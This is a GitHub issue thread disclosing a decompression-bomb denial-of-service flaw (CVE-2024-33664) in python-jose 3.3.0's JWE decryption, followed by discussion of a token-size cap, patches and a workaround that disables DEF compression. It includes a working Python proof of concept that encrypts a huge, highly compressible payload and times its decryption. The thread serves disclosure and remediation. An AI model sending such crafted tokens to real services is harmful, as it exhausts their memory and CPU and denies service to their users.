python-jose icon indicating copy to clipboard operation
python-jose copied to clipboard

[Vuln] JWT bomb Attack in decode function

Open P3ngu1nW opened this issue 11 months ago • 11 comments

JWT bomb Attack in decode function

0x01 Affected version

vendor: https://github.com/mpdavis/python-jose

version: 3.3.0

0x02 What kind of vulnerability is it? Who is impacted?

This vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.

0x03 Vulnerability details

The Proof of Concept (PoC) below demonstrates how this vulnerability can lead to a DoS attack:

from jose import jwe

import time

s = '{"u": "' + "u" * 40000000 + '", "uu":"' + "u" * 40000000 + '"}'

print(len(s))

v1 = jwe.encrypt(s, b'asecret128bitkey', algorithm='A128KW', zip='DEF', encryption='A128GCM')

print(len(v1))

begin = time.time()

jwe.decrypt(v1, b'asecret128bitkey')

print(time.time() - begin)

s = '{"u": "' + "u" * 40000 + '", "uu":"' + "u" * 40000 + '"}'

v2 = jwe.encrypt(s, b'asecret128bitkey', algorithm='A128KW', encryption='A128GCM')

begin = time.time()

print(len(v2))

jwe.decrypt(v2, b'asecret128bitkey')

print(time.time() - begin)

This vulnerability is demonstrated by comparing the processing times of a compressed token to an uncompressed token of the same length. The compressed token's processing time is significantly higher, showcasing the vulnerability's potential impact.

0x04 Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.

0x05 References

[1] CVE-2024-21319

P3ngu1nW avatar Mar 11 '24 06:03 P3ngu1nW

Hello @P3ngu1nW

I'm fairly new to this field, so please bear with me. I've been trying to understand this issue and have read up on the JWT bomb attack.

To tackle it, do we simply need to cap the token size at 250K? If so, I've made the necessary changes in the decrypt function of my forked repository. Could you please review it and let me know if there's anything else required?

Check the update

Thank You, Prince

princekhunt avatar Mar 20 '24 16:03 princekhunt

Hi! I think that's reasonable. Thank you!

P3ngu1nW avatar Mar 29 '24 04:03 P3ngu1nW

Hello,

Thanks for the confirmation!. Created PR #345

princekhunt avatar Mar 31 '24 07:03 princekhunt

Following up on this.

smittysmee avatar Apr 29 '24 15:04 smittysmee

I've created a more comprehensive pull request which includes tests: https://github.com/mpdavis/python-jose/pull/352

alistairwatts avatar May 07 '24 14:05 alistairwatts

This is CVE-2024-33664

stigtsp avatar May 07 '24 20:05 stigtsp

@P3ngu1nW or @alistairwatts, thanks for reporting this CVE. It seems to be specific to tokens with compression. If I know that for my application, all valid tokens are uncompressed, is there a way how I could disable compression support in python-jose?

I also don't quite understand which functions of the library are affected:

  • Issue title: "JWT bomb Attack in decode function" -> do you mean jwt.decode()?
  • Your example code is using jwe.decrypt().
  • Is jwt.decode() affected or not?

Your description has a section "Who is impacted?", which is a good idea, but unfortunately does not contain enough information for non-crypto-experts to determine if their library usage is safe regarding this CVE or not.

heidemn-faro avatar May 08 '24 07:05 heidemn-faro

@heidemn-faro, if your application is not supporting encrypted tokens, then it doesn't look like the vulnerability affects you. You should be fine if you're not using jose.jwe, but please check this for yourself. If you wanted to be sure that this vulnerability doesn't affect your application then you could consider removing jwe.py from the jose package and checking your application is unaffected.

If jose.jwe is used then the following will monkey-patch the library and remove support for the DEF compression.

import jose.constants
jose.constants.ZIPS.SUPPORTED.discard('DEF')

alistairwatts avatar May 08 '24 13:05 alistairwatts

There are patch files that need to be added into this repo: https://build.opensuse.org/projects/openSUSE:Factory/packages/python-python-jose/files/CVE-2024-33663.patch and https://build.opensuse.org/projects/openSUSE:Factory/packages/python-python-jose/files/CVE-2024-33664.patch

gitjkesslergs avatar May 31 '24 15:05 gitjkesslergs

@P3ngu1nW please help me understand why you've closed the ticket? I don't see any related commit on the master branch.

heidemn-faro avatar Jul 01 '24 06:07 heidemn-faro

@P3ngu1nW please help me understand why you've closed the ticket? I don't see any related commit on the master branch.

I saw @gitjkesslergs mentioned a fix for this

P3ngu1nW avatar Jul 01 '24 06:07 P3ngu1nW